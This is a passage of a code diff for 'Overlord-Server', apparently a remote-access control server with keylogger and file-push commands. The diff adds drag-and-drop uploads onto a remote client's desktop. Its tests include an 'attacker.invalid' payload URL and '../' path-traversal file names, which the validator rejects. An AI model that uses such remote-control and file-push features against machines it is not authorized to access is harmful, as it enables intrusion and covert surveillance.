(event.dataTransfer) event.dataTransfer.dropEffect = "copy"; + setDesktopFileDragUi(true, event); + }); + renderSurface.addEventListener("dragleave", (event) => { + if (!hasDraggedFiles(event)) return; + if (event.relatedTarget instanceof Node && renderSurface.contains(event.relatedTarget)) return; + setDesktopFileDragUi(false); + }); + renderSurface.addEventListener("drop", async (event) => { + if (!hasDraggedFiles(event)) return; + event.preventDefault(); + event.stopPropagation(); + setDesktopFileDragUi(false); + const files = Array.from(event.dataTransfer?.files || []); + if (files.length === 0) return; + const dropPoint = getRenderPoint(event); + if (!dropPoint) return; + try { + await uploadFilesToRemoteDesktop(files, dropPoint); + } catch (error) { + console.error("rd: desktop file drop failed", error); + showDesktopUploadStatus(error instanceof Error ? error.message : "Remote desktop file transfer failed", 100, "error"); + } + }); + document.addEventListener("dragend", () => setDesktopFileDragUi(false)); + } + applySharedSettings(await loadSharedUiSettings("remote_desktop")); // Interactive input is intentionally session-scoped: opening any client's // page must require the operator to opt in again, regardless of saved UI @@ -1629,6 +1873,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`; clientOs = (client.os || "").toLowerCase(); clientIsAdmin = !!client.isAdmin; + desktopFileUploadSupported = !client.commandVersions || !!client.commandVersions.file_upload_desktop; } if (client) { populateDisplays(client.monitors, client.monitorInfo); @@ -3247,10 +3492,15 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s } disconnectAudio(); destroyVideoDecoder(); + if (fileTransferWs) { + try { fileTransferWs.close(1000, "page hidden"); } catch {} + fileTransferWs = null; + } } window.addEventListener("beforeunload", stopOnExit); window.addEventListener("pagehide", stopOnExit); + setupRemoteDesktopFileDrop(); fetchClientInfo(); })(); diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html index 587a8a4..d27cd76 100644 --- a/Overlord-Server/public/remotedesktop.html +++ b/Overlord-Server/public/remotedesktop.html @@ -348,6 +348,24 @@ height: auto; " > + + @@ -668,6 +686,74 @@ font-size: 12px; } .rd-diagnostics-hud.hidden { display: none; } + .rd-file-drop-overlay { + position: absolute; + inset: 0; + z-index: 45; + pointer-events: none; + border: 3px dashed rgba(56, 189, 248, .95); + border-radius: 12px; + background: rgba(2, 132, 199, .14); + box-shadow: inset 0 0 80px rgba(14, 165, 233, .16); + } + .rd-file-drop-overlay[hidden], .rd-upload-status[hidden] { display: none; } + .rd-file-drop-hint { + position: absolute; + left: 50%; + top: 50%; + display: flex; + flex-direction: column; + align-items: center; + gap: 5px; + transform: translate(-50%, -50%); + padding: 18px 24px; + border: 1px solid rgba(125, 211, 252, .55); + border-radius: 14px; + color: #e0f2fe; + background: rgba(2, 6, 23, .9); + box-shadow: 0 18px 45px rgba(0, 0, 0, .45); + backdrop-filter: blur(10px); + } + .rd-file-drop-hint i { color: #7dd3fc; font-size: 24px; } + .rd-file-drop-hint span { color: #94a3b8; font-size: 11px; } + .rd-file-drag-ghost { + position: absolute; + left: 0; + top: 0; + display: flex; + align-items: center; + gap: 8px; + max-width: 240px; + padding: 8px 11px; + border: 1px solid rgba(125, 211, 252, .65); + border-radius: 9px; + color: #f0f9ff; + background: rgba(15, 23, 42, .94); + box-shadow: 0 10px 28px rgba(0, 0, 0, .5); + transform: translate(14px, 14px); + will-change: left, top; + } + .rd-file-drag-ghost i { color: #7dd3fc; } + .rd-file-drag-ghost span { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } + .rd-upload-status { + position: absolute; + left: 50%; + bottom: 20px; + z-index: 46; + width: min(420px, calc(100% - 32px)); + padding: 11px 13px; + border: 1px solid rgba(71, 85, 105, .9); + border-radius: 11px; + color: #e2e8f0; + background: rgba(2, 6, 23, .92); + box-shadow: 0 14px 38px rgba(0, 0, 0, .48); + transform: translateX(-50%); + backdrop-filter: blur(10px); + } + .rd-upload-status-row { display: flex; align-items: center; gap: 9px; font-size: 12px; } + .rd-upload-status-row i { color: #38bdf8; } + .rd-upload-progress { height: 4px; margin-top: 9px; overflow: hidden; border-radius: 999px; background: #1e293b; } + .rd-upload-progress > div { width: 0; height: 100%; border-radius: inherit; background: #38bdf8; transition: width .15s ease; } .rd-diagnostics-header, .rd-diagnostics-meta { display: flex; align-items: center; justify-content: space-between; gap: 10px; } .rd-diagnostics-title { color: #f8fafc; font-size: 14px; font-weight: 700; } .rd-diagnostics-summary { margin-top: 2px; color: #67e8f9; } @@ -688,6 +774,6 @@ - + diff --git a/Overlord-Server/src/generated/wire-contract.ts b/Overlord-Server/src/generated/wire-contract.ts index 67afa32..458900c 100644 --- a/Overlord-Server/src/generated/wire-contract.ts +++ b/Overlord-Server/src/generated/wire-contract.ts @@ -214,6 +214,7 @@ export const COMMAND_TYPES = [ "file_search", "file_thumb", "file_upload", + "file_upload_desktop", "file_upload_http", "file_write", "file_zip", @@ -602,6 +603,10 @@ export const COMMAND_VERSION_SUPPORT = { "min": 1, "max": 1 }, + "file_upload_desktop": { + "min": 1, + "max": 1 + }, "file_upload_http": { "min": 1, "max": 1 diff --git a/Overlord-Server/src/protocol-contract.test.ts b/Overlord-Server/src/protocol-contract.test.ts index 583299a..e0d4772 100644 --- a/Overlord-Server/src/protocol-contract.test.ts +++ b/Overlord-Server/src/protocol-contract.test.ts @@ -17,9 +17,10 @@ import { describe("generated wire protocol contract", () => { test("publishes the complete command catalog", () => { expect(WIRE_PROTOCOL_VERSION).toBe(1); - expect(COMMAND_TYPES.length).toBe(142); + expect(COMMAND_TYPES.length).toBe(143); expect(new Set(COMMAND_TYPES).size).toBe(COMMAND_TYPES.length); expect(isCommandType("desktop_start")).toBe(true); + expect(isCommandType("file_upload_desktop")).toBe(true); expect(isCommandType("virtual_window_list")).toBe(true); expect(isCommandType("not_a_command")).toBe(false); }); diff --git a/Overlord-Server/src/server/file-browser-security.test.ts b/Overlord-Server/src/server/file-browser-security.test.ts index a47f9a1..92b9c62 100644 --- a/Overlord-Server/src/server/file-browser-security.test.ts +++ b/Overlord-Server/src/server/file-browser-security.test.ts @@ -35,4 +35,19 @@ describe("file browser command payload validation", () => { path: "C:\\ok.bin", url: "https://attacker.invalid/payload", total: 10, })).toBeNull(); }); + + test("validates remote desktop uploads as safe basenames", () => { + const valid = { + fileName: "report.pdf", + url: "/api/file/upload/pull/123e4567-e89b-42d3-a456-426614174000", + total: 10, + }; + expect(validateFileBrowserCommandPayload("file_upload_desktop", valid)).not.toBeNull(); + expect(validateFileBrowserCommandPayload("file_upload_desktop", { ...valid, display: 1, x: 640, y: 360 })).not.toBeNull(); + expect(validateFileBrowserCommandPayload("file_upload_desktop", { ...valid, x: 640 })).toBeNull(); + expect(validateFileBrowserCommandPayload("file_upload_desktop", { ...valid, x: 640.5, y: 360 })).toBeNull(); + expect(validateFileBrowserCommandPayload("file_upload_desktop", { ...valid, fileName: "../report.pdf" })).toBeNull(); + expect(validateFileBrowserCommandPayload("file_upload_desktop", { ...valid, fileName: "folder/report.pdf" })).toBeNull(); + expect(validateFileBrowserCommandPayload("file_upload_desktop", { ...valid, url: "https://attacker.invalid/file" })).toBeNull(); + }); }); diff --git a/Overlord-Server/src/server/file-browser-security.ts b/Overlord-Server/src/server/file-browser-security.ts index 1d53f50..83659a3 100644 --- a/Overlord-Server/src/server/file-browser-security.ts +++ b/Overlord-Server/src/server/file-browser-security.ts @@ -80,6 +80,17 @@ export function validateFileBrowserCommandPayload( || !/^\/api\/file\/upload\/pull\/[0-9a-f-]{36}$/i.test(payload.url)) return null; if (!Number.isSafeInteger(Number(payload.total)) || Number(payload.total) < 0) return null; return payload; + case "file_upload_desktop": + if (!safeString(payload.fileName, 255) || /[\\/]/.test(payload.fileName as string) + || payload.fileName === "." || payload.fileName === ".." + || typeof payload.url !== "string" + || !/^\/api\/file\/upload\/pull\/[0-9a-f-]{36}$/i.test(payload.url)) return null; + if (!Number.isSafeInteger(Number(payload.total)) || Number(payload.total) < 0) return null; + if ((payload.x === undefined) !== (payload.y === undefined)) return null; + if (payload.x !== undefined && (!Number.isSafeInteger(Number(payload.x)) || Math.abs(Number(payload.x)) > 1_000_000)) return null; + if (payload.y !== undefined && (!Number.isSafeInteger(Number(payload.y)) || Math.abs(Number(payload.y)) > 1_000_000)) return null; + if (payload.display !== undefined && (!Number.isSafeInteger(Number(payload.display)) || Number(payload.display) < 0 || Number(payload.display) > 128)) return null; + return payload; default: return null; } diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index 0792d60..1796df9 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -4,6 +4,7 @@ import { AuditAction, logAudit } from "../auditLog"; import * as clientManager from "../clientManager"; import { logger } from "../logger"; import { metrics } from "../metrics"; +import { versionCommandForClient } from "../command-compatibility"; import { encodeMessage } from "../protocol"; import { getSessionByTokenHash } from "../db"; import * as sessionManager from "../sessions/sessionManager"; @@ -251,6 +252,35 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, success: true, }); break; + case "file_upload_desktop": + try { + target.ws.send(encodeMessage(versionCommandForClient(target, { + type: "command", + commandType: "file_upload_desktop", + id: routedId, + payload: actualPayload, + } as any))); + } catch (error) { + finishFileBrowserCommand(routedId); + safeSendViewer(ws, { + type: "command_result", + commandId: routedId, + ok: false, + message: error instanceof Error ? error.message : "Desktop upload is unsupported by this client", + }); + break; + } + metrics.recordCommand("file_upload_desktop"); + logAudit({ + timestamp: Date.now(), + username: (ws.data as any).username || "unknown", + ip: ws.data.ip || "unknown", + action: AuditAction.FILE_UPLOAD, + targetClientId: clientId, + details: JSON.stringify({ fileName: actualPayload.fileName || "", destination: "remote_pointer", display: actualPayload.display, x: actualPayload.x, y: actualPayload.y, mode: "http_pull" }), + success: true, + }); + break; default: break; } diff --git a/protocol/wire-contract.json b/protocol/wire-contract.json index 56b90ca..ca26ad2 100644 --- a/protocol/wire-contract.json +++ b/protocol/wire-contract.json @@ -152,6 +152,7 @@ "file_search", "file_thumb", "file_upload", + "file_upload_desktop", "file_upload_http", "file_write", "file_zip",